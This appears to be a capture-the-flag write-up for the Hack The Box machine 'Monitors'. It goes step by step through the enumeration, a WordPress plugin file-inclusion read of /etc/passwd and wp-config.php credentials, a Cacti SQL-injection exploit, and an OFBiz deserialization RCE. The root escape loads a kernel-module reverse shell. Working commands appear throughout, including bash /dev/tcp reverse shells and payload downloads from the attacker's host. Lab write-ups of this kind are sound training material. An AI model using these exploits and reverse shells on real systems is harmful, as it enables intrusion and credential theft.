Monitors

Enumeration
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.238 -oN allPorts
-sS
use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.--min-rate 5000
nmap will try to keep the sending rate at or above 5000 packets per second.-p-
scanning the entire port range, from 1 to 65535.-T5
insane mode, it is the fastest mode of the nmap time template.-Pn
assume the host is online.-n
scan without reverse DNS resolution.-oN
save the scan result into a file, in this case the allports file.
# Nmap 7.93 scan initiated Thu Apr 20 10:48:25 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.238
Nmap scan report for 10.10.10.238
Host is up (0.059s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Thu Apr 20 10:48:41 2023 -- 1 IP address (1 host up) scanned in 16.20 seconds
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p22,80 10.10.10.238 -oN targeted
-sC
performs the scan using the default set of scripts.-sV
enables version detection.-oN
save the scan result into file, in this case the targeted file.
# Nmap 7.93 scan initiated Thu Apr 20 10:51:49 2023 as: nmap -sCV -p22,80 -Pn -n -oN targeted 10.10.10.238
Nmap scan report for 10.10.10.238
Host is up (0.038s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 bacccd81fc9155f3f6a91f4ee8bee52e (RSA)
| 256 6943376a1809f5e77a67b81811ead765 (ECDSA)
|_ 256 5d5e3f67ef7d762315114b53f8413a94 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Apr 20 10:51:57 2023 -- 1 IP address (1 host up) scanned in 8.50 seconds
We are not allowed to access the website on port 80.

As we can see in the email address, there is the domain.htb
. Let's add it to the /etc/hosts
file.
nano /etc/hosts
# Host addresses
127.0.0.1 localhost
127.0.1.1 alfa8sa
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
f02::2 ip6-allrouters
10.10.10.238 monitors.htb
There is virtual hosting running because using this domain we'll see a WordPress site.

If we use wpscan to enumerate the WordPress site, we'll see that it is using a plugin called wp-with-spritz
.
wpscan --url http://monitors.htb/ -o wpScan -e ap,at,tt,cb,dbe,u,m
--url
URL of the WordPress site.-e ap
enumerate all plugins.-o
save result to a file.
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
...
[34m[i][0m Plugin(s) Identified:
[32m[+][0m wp-with-spritz
| Location: http://monitors.htb/wp-content/plugins/wp-with-spritz/
| Latest Version: 1.0 (up to date)
| Last Updated: 2015-08-20T20:15:00.000Z
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 4.2.4 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://monitors.htb/wp-content/plugins/wp-with-spritz/readme.txt
...
Exploitation
A simple search in exploit-db.com will lead to the WordPress Plugin WP with Spritz 1.0 - Remote File Inclusion vulnerability. This vulnerability allows us to list local and remote files.
curl -s "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash
Debian-snmp:x:112:115::/var/lib/snmp:/bin/false
mysql:x:109:114:MySQL Server,,,:/nonexistent:/bin/false
As this is a WordPress site, the wp-config.php
file could contain some credentials.
curl -s "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//var/www/wordpress/wp-config.php"
...
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** MySQL database username */
define( 'DB_USER', 'wpadmin' );
/** MySQL database password */
define( 'DB_PASSWORD', 'BestAdministrator@2020!' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
...
Indeed, it has credentials for the MySQL database, which might be helpful later. The website is running on an Apache2 web server, so we could also list the /etc/apache2/sites-enabled/000-default.conf
file.
curl -s "http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/apache2/sites-enabled/000-default.conf"
# Default virtual host settings
# Add monitors.htb.conf
# Add cacti-admin.monitors.htb.conf
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com
ServerAdmin admin@monitors.htb
DocumentRoot /var/www/html
Redirect 403 /
ErrorDocument 403 "Sorry, direct IP access is not allowed. <br><br>If you are having issues accessing the site then contact the website administrator: admin@monitors.htb"
UseCanonicalName Off
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
There is a comment at the top of the file with one more subdomain. Let's add it to the /etc/hosts
file.
nano /etc/hosts
# Host addresses
127.0.0.1 localhost
127.0.1.1 alfa8sa
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
f02::2 ip6-allrouters
10.10.10.238 monitors.htb cacti-admin.monitors.htb
This subdomain shows a login page for a Cacti 1.2.12 server. If we try to log in as the admin
user using the password we found in the wp-config.php
file, we'll be able to access the website.

One SQL Injection vulnerability affects this version of Cacti.
searchsploit cacti 1.2.12
-------------------------------------------------------------- ----------------------
Exploit Title | Path
-------------------------------------------------------------- ----------------------
Cacti 1.2.12 - 'filter' SQL Injection | php/webapps/49810.py
-------------------------------------------------------------- ----------------------
Shellcodes: No Results
Let's move it to our current directory and rename it.
searchsploit -m php/webapps/49810.py
mv 49810.py cacti.py
The script will send a reverse shell to our machine, so first we need to set a netcat listener.
nc -lvnp 4444
-l
listen mode.-v
verbose mode.-n
numeric-only IP, no DNS resolution.-p
specify the port to listen on.
Now, run the script, giving the following parameters and get a shell as www-data
.
python cacti.py -t http://cacti-admin.monitors.htb -u admin -p 'BestAdministrator@2020!' --lhost 10.10.14.5 --lport 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.238 34642
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
Privilege Escalation
If we list all the system services, we'll see one called cacti-backup.service
.
systemctl list-unit-files --type=service
UNIT FILE STATE
...
cacti-backup.service linked
...
Let's find out where its configuration file is located.
find / -name cacti-backup 2>/dev/null
/etc/systemd/system/cacti-backup.service
/lib/systemd/system/cacti-backup.service
As we can see in its configuration file, it is running a script located in /home/marcus/.backup/
.
cat /etc/systemd/system/cacti-backup.service
[Unit]
Description=Cacti Backup Service
After=network.target
[Service]
Type=oneshot
User=www-data
ExecStart=/home/marcus/.backup/backup.sh
[Install]
WantedBy=multi-user.target
The backup.sh
file contains new credentials.
cat /home/marcus/.backup/backup.sh
#!/bin/bash
backup_name="cacti_backup"
config_pass="VerticalEdge2020"
zip /tmp/${backup_name}.zip /usr/share/cacti/cacti/*
sshpass -p "${config_pass}" scp /tmp/${backup_name} 192.168.1.14:/opt/backup_collection/${backup_name}.zip
rm /tmp/${backup_name}.zip
The password is valid for the marcus
user, and we'll be able to grab the user flag.
su marcus
Password: VerticalEdge2020
marcus@monitors:/usr/share/cacti/cacti$ whoami
marcus
marcus@monitors:/usr/share/cacti/cacti$ cat /home/marcus/user.txt
d4007c249b4aeb514c545ca2e3ec915c
In the home directory of marcus
, there is one file called note.txt
.
cat note.txt
TODO:
Disable phpinfo in php.ini - DONE
Update docker image for production use -
Apparently, there are docker containers running on the server. In fact, there is a process running docker-proxy on port 8443.
ps aux | grep docker
...
root 2065 0.0 0.0 553112 3976 ? Sl 07:35 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8443 -container-ip 172.17.0.2 -container-port 8443
...
But pot 8443 is only open on the localhost.
netstat -tulpn
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 127.0.0.1:161 0.0.0.0:* -
udp 0 0 0.0.0.0:53726 0.0.0.0:* -
As port 22 is open, and we have credentials for marcus
, we could do a local port forwarding of that port using SSH.
sshpass -p 'VerticalEdge2020' ssh marcus@10.10.10.238 -L 8443:127.0.0.1:8443
Now we can access the website using HTTPS on our localhost.
https://127.0.0.1:8443/

This is an Apache Tomcat/9.0.31 web server. Let's enumerate subdirectories with gobuster.
gobuster dir -u https://127.0.0.1:8443 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -k
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://127.0.0.1:8443
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/04/21 08:47:16 Starting gobuster in directory enumeration mode
===============================================================
/common (Status: 302) [Size: 0] [--> /common/]
/images (Status: 302) [Size: 0] [--> /images/]
/catalog (Status: 302) [Size: 0] [--> /catalog/]
/content (Status: 302) [Size: 0] [--> /content/]
/marketing (Status: 302) [Size: 0] [--> /marketing/]
/ecommerce (Status: 302) [Size: 0] [--> /ecommerce/]
/ap (Status: 302) [Size: 0] [--> /ap/]
Progress: 1267 / 220561 (0.57%)^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2023/04/21 08:47:21 Finished
===============================================================
There are a lot of directories that show a 302 status, trying to redirect to somewhere. Let's choose one of them, and see where we are being redirected.
https://127.0.0.1:8443/content
We are redirected to a login page for an Apache OFBiz 17.12.01 server.

There is one Remote Command Execution vulnerability that affects this version of OFBiz.
searchsploit ofbiz 17.12.01
------------------------------------------------------------- -----------------------
Exploit Title | Path
------------------------------------------------------------- -----------------------
ApacheOfBiz 17.12.01 - Remote Command Execution (RCE) | java/webapps/50178.sh
------------------------------------------------------------- -----------------------
Shellcodes: No Results
Let's exploit this manually. First, we need to download the ysoserial-all.jar
file.
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
Then, create the shell.sh
script with the following code.
nano shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.5/5555 0>&1
Now, set a simple HTTP server where the shell.sh
script is located.
python -m http.server 80
And another netcat listener on port 5555.
nc -lvnp 5555
Now, using the ysoserial-all.jar
file, we need to serialize a payload that will download the shell.sh
script from our machine.
/opt/jdk-15.0.1/bin/java -jar ysoserial-all.jar CommonsBeanutils1 "wget http://10.10.14.5/shell.sh -O /tmp/shell.sh" 2>/dev/null | base64 | tr -d '\n'
rO0ABXNyABdqYX...B4cQB+AA14
Now send a request to the xmlrpc of the web server with the base64 payload we created.
curl -s https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -d "<?xml version='1.0'?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns='http://ws.apache.org/xmlrpc/namespaces/extensions'>rO0ABXNyABdqYX...B4cQB+AA14</serializable></value></member></struct></value></param></params></methodCall>" -k -H 'Content-Type:application/xml' &>/dev/null
Now the script should be downloaded in the /tmp
directory of the docker container. We need to do the same, but this time instead of downloading the script, we will execute it.
/opt/jdk-15.0.1/bin/java -jar ysoserial-all.jar CommonsBeanutils1 "bash /tmp/shell.sh" 2>/dev/null | base64 | tr -d '\n'
Finally, send the curl request again, but this time with the new payload, and we should gain access to the docker container as root.
curl -s https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -d "<?xml version='1.0'?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns='http://ws.apache.org/xmlrpc/namespaces/extensions'>rO0ABXNyABdqYX...QB4cQB+AA14</serializable></value></member></struct></value></param></params></methodCall>" -k -H 'Content-Type:application/xml' &>/dev/null
Listening on 0.0.0.0 5555
Connection received on 10.10.10.238 40332
bash: cannot set terminal process group (31): Inappropriate ioctl for device
bash: no job control in this shell
root@f2808ec13717:/usr/src/apache-ofbiz-17.12.01# whoami
whoami
root
root@f2808ec13717:/usr/src/apache-ofbiz-17.12.01# hostname -I
hostname -I
172.17.0.2
If we list the current capabilities, we'll see that we have the cap_sys_module
capability.
capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=
As is explained in the article Docker Container Breakout: Abusing SYS_MODULE capability!, there is a way to break out of the docker container if this capability is available. First, we need to create the reverse-shell.c
file with the following code.
cd /tmp
vi reverse-shell.c
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.5/6666 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
Then, create the Makefile
file with the following content.
vi Makefile
obj-m +=reverse-shell.o
all:
make -C /lib/modules/4.15.0-142-generic/build M=/tmp modules
clean:
make -C /lib/modules/4.15.0-142-generic/build M=/tmp clean
Then do the compilation.
make
Now, set a netcat listener on port 6666.
nc -lvnp 6666
Finally, to trigger the exploit run the following command, and get a shell as root in the Monitors machine. Then, all we have to do is reap the harvest and take the root flag.
insmod reverse-shell.ko
Listening on 0.0.0.0 6666
Connection received on 10.10.10.238 46994
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@monitors:/# whoami
whoami
root
root@monitors:/# hostname -I
hostname -I
10.10.10.238 172.17.0.1 172.18.0.1 dead:beef::250:56ff:feb9:83a2
root@monitors:/# cat /root/root.txt
cat /root/root.txt
d6e1dfccc43ba8526ba48dd8e6c03d46
Last updated
Was this helpful?